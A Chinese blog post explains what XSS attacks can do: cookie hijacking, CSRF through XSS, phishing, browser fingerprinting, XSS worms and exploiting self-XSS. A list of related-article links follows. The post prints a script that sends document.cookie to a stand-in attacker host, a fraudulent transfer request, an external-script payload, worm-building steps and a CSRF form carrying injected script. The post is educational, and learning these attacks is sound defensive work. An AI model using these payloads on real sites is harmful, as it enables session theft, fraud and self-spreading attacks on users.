上次学习了一篇很好的文章以后,写了https://blog.csdn.net/weixin_42299862/article/details/108518706这么一篇读后感~现在继续总结一下,XSS能造成多大的危害。

1、cookie劫持
通过XSS漏洞,我们可以轻易的将javascript代码注入被攻击用户的页面并用浏览器执行。
如果用户的cookie没有设置Httponly,在javascript中可以通过“document.cookie”来获取用户的cookie内容,并可以轻易的发送到任意黑客指定的地址。

发送方式举例:
同源策略并不限制<img>标签从别的网站(跨域)去下载图片,我们在注入JavaScript代码的时候,同时创建一个用户不可见的<img>,通过这个<img>发cookie发给攻击者http://attack.com

var img = document.createElement(‘img’);
img.src = ‘http://attack.com/?cookie=+ document.cookie;
img.style.display = ‘none’;
document.getElementByName(‘body’)[0].appendChild(img);

这里写的是js的脚本,除了用<img>标签,也可以通过iframe标签(使用标签的方法见支持跨域的标签),form表单(发送get或post请求)和ajax等方式(ajax需要解决跨域问题)。

2、CSRF:使用XSS可以实现CSRF,不过XSS只是实现CSRF的诸多途径中的一条。
如果用户的cookie设置了httponly,我们将无法轻易的获取其cookie的内容。
但由于我们可以控制用户的页面脚本(XSS),我们可以利用脚本向后台发送命令,此时浏览器会给请求带上被攻击用户的cookie,也就是说我们不知不觉的以用户的身份执行任何请求。
如:
$.put(‘/tranferMoney?from=accountA&to=account&mount=100000’);
发起一笔转账,将用户的资产转到黑客账户名下~
或者发请求删除用户的重要数据等等,都会让用户损失惨重。

3、XSS钓鱼:这里需要结合<iframe>点击劫持
可以了利用注入的Javascript进行动态的Dom编辑,来模拟如登陆页面,来诱骗用户输入用户名密码等信息。
可以使用如下方式:
(1) 直接在当前页面动态模拟创建登录窗口
(2)通过location.href='javascript:‘HTML内容’'的方式重写当前页面内容,浏览器URL保持不变,或者通过设置为假的URL。

4、获取用户信息
获取浏览器和系统信息
浏览器的navigator对象可以暴露非常多的信息

5、XSS蠕虫:在这里CSRF作为其他攻击向量的辅助攻击手法
实现XSS蠕虫攻击的关键在于如何利用XSS漏洞蠕虫攻击,一般利用存储型的XSS来进行蠕虫攻击,但也可利用反射型的XSS结合csrf漏洞同样可以造成蠕虫攻击。

例如:https://mingxin.live/article/XSS-%E8%A0%95%E8%99%AB%E6%94%BB%E5%87%BB/ XSS蠕虫攻击
这就是一个反射型的XSS结合csrf漏洞造成蠕虫攻击的例子。
—》总结一下思路:
构造一个反射型XSS的url,通过钓鱼链接(或其他方法)发送给受害者诱使其点击,而payload引用写好的可以蠕虫的js,js要有转发该payload的功能,也可以结合CSRF完成恶意操作(如加关注,转发等)。
母贴:母贴为攻击者最先发布的具有蠕虫功能的帖子或者评论或者留言等。
子帖:被母贴感染后用户自动发送的贴子或者评论或者留言等。
蠕虫的关键是子贴的内容,子贴的内容必须是可控的才能造成蠕虫
—》总结一下实现过程:
(1)找到内容可以控制的且存在CSRF漏洞的地方,如发帖处,构造一个发帖的链接。只要用户访问该链接,将自动发送主题名和内容为“123”的帖子。
(2)将该CSRF链接插入到XSS中,结合两者,构造payload,例如<script src=http://u6.gg/sE7MH></script>。用户触发这个XSS就会触发CSRF。
(3)然后将构造的payload插入CSRF中,构造成新的具有蠕虫功能的CSRF链接。那怎么插呢?既然CSRF参数可控,直接将该payload赋值给可控参数,新的具有蠕虫功能的CSRF链接就构造好了,因为一旦该链接触发,将会执行原CSRF链接的功能(留言或评论等),而留言或评论的内容将又是XSS和CSRF结合的 payload。----------这里就是母贴感染子贴,子贴成为新的蠕虫传播者。
(4)将上面具有蠕虫功能的CSRF链接再次引用或插入到XSS payload中,如果链接过长,可以将链接缩短,缩成短链接的形式。插入到XSS payload后,如果是存储型XSS,只要触发这个XSS就会触发CSRF,而CSRF又插入了XSS,而XSS又插入了CSRF的链接,反反复复,形成蠕虫。---------这里是构造了一个母贴,可以通过钓鱼链接发送给受害者诱使其点击。

6、从Self-xss到可利用的xss:CSRF作为其他攻击向量的辅助攻击手法
有一些网站用户登陆后可以浏览到的绝大部分数据都只是自己的数据,也就是说此类网站如果存在存储型XSS,其触发页面也仅有自己可以看到,只能“自己打自己”。此类xss称为self-xss,俗称自叉。
此类xss往往需要结合其他漏洞诸如sql注入、反射型XSS、csrf等问题,可以扩大这些问题的打击范围以及形成持久型后门。

例如:https://www.freebuf.com/articles/web/164069.html
这就是一个CSRF+Self-xss的变废为宝的过程
用户登录处有个CSRF漏洞。用户登录失败会自动填充用户名,这里有个Self-xss漏洞。两者结合,用户访问该页面就可以触发 XSS :

<html>
<body><form action="XXXXXX" method="POST" id="csrf"><input type="hidden" name="username" value="aaaa'οnmοuseοver=alert(1);'"><input type="hidden" name="password" value=""></form>
</body>
<script>document.getElementById("csrf").submit();</script>
</html>

XSS能有什么危害?相关推荐

  1. 简述xss漏洞原理及危害?xss漏洞有哪些类型?xss漏洞哪个类型危害最大?如何防御xss漏洞

    Xss漏洞原理:服务器对用户提交的数据过滤不严,导致浏览器把用户的输入当成了JS代码并直接返回给客户端执行,从而实现对客户端的攻击目的. 危害: 1.窃取用户Cookie 2.后台增删改文章 3.XS ...

  2. 【XSS漏洞-01】XSS漏洞简介、危害与分类及验证

    目录 1 XSS漏洞简介 2 XSS漏洞危害 3 XSS漏洞分类 3.1 反射型XSS 3.2 存储型XSS 3.3 DOM型XSS 3.3.1 节点树模型 3.3.2 DOM型XSS 4 漏洞验证 ...

  3. XSS漏洞分类及危害

    一.常见的XSS漏洞分为存储型.反射型.DOM型三种. (1)反射型XSS 用户在请求某条URL地址的时候,会携带一部分数据.当客户端进行访问某条链接时,攻击者可以将恶意代码植入到URL,如果服务端未 ...

  4. 安全测试之XSS攻击

    XSS (跨站脚本攻击)是什么?它的全名是:Cross-site scripting,为了和CSS层叠样式表区分所以取名XSS.是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码 ...

  5. DEDECMS全版本gotopage变量XSS ROOTKIT 0DAY

    影响版本: DEDECMS全版本 漏洞描叙: DEDECMS后台登陆模板中的gotopage变量未效验传入数据,导致XSS漏洞. \dede\templets\login.htm 65行左右 < ...

  6. 网站安全之XSS漏洞攻击以及防范措施

    在网站开发中,安全问题是重中之重的问题,特别像一个sql注入,XSS漏洞攻击,等的防范,如果不做好,网站将存在很大的隐患 XSS漏洞是网站漏洞中最容易出现的一种,至少现在的各大网站中基本都存在,传闻只 ...

  7. SQL注入和XSS攻击的原理

    8.4 Web跨站脚本攻击 8.4.1  跨站脚本攻击的原理(1) 跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS.但是,由于层叠样式表 (Cascading Style ...

  8. 【干货】XSS知识总结

    公众号:白帽子左一 XSS基础 跨站脚本(英语:Cross-site scripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他 ...

  9. 前端Hack之XSS攻击个人学习笔记

    简单概述 **        此篇系本人两周来学习XSS的一份个人总结,实质上应该是一份笔记,方便自己日后重新回来复习,文中涉及到的文章我都会在末尾尽可能地添加上,此次总结是我在学习过程中所写,如有任 ...

最新文章

  1. 数据连接池的工作机制是什么?
  2. 构建之法读书笔记之五
  3. storm0.9.0.1安装
  4. 输入框中默认的值,判断是否输入内容
  5. 【Python爬虫】使用urllib.request下载已知链接的网络资源
  6. 计算机应用基础教学反思与改进,中职《计算机应用基础》课程教学反思
  7. java8 hashmap_Java8 中的 HashMap
  8. ueditor上传图片回调_springboot+mybatis+oss整合ueditor
  9. 货币化物联网:实现收益
  10. Python:学习笔记之多值参数(函数中*传递元组**传递字典)案例演练
  11. python常用运维脚本实例-经典!Python运维中常用的几十个Python运维脚本
  12. 发现美,创造美,拥有美^_^.
  13. 【干货】PCB线宽与电流关系
  14. 【问题】loadrunner运行场景时,用户卡在run状态,且退出时卡在gradual exiting状态
  15. 金庸小说人物知识图谱构建——以《雪山飞狐》为例
  16. 正面杠腾讯音乐与网易云音乐,抖音与快手谁能“弯道超车“?
  17. Es Bucket聚合(桶聚合) Terms Aggregation与Significant Terms Aggregation
  18. 全志linux关机键,全志平台linux启动流程分析
  19. CSS 制作烟雾效果文字
  20. IBM小型机AIX操作系统总结02--软件安装

热门文章

  1. 关于Debian10的网络配置
  2. Nginx:正向代理与反向代理
  3. BGRABitmap图像操作9c:同时使用莫林杂点和 phong 阴影制作纹理
  4. 离开学校怎样自学修炼成为一名网页设计师(四)
  5. 王亮 中国科学院自动化研究所
  6. 变分自编码器的推导,VAE的推导,ELBO|证据下界|训练方法
  7. 青岛市人才市场2008年11月份交流会安排
  8. 网上购车平台易车买车好吗!
  9. 看完,如果你不分享,是我的失败!
  10. Github pages + Hexo 博客 yilia 主题使用畅言评论系统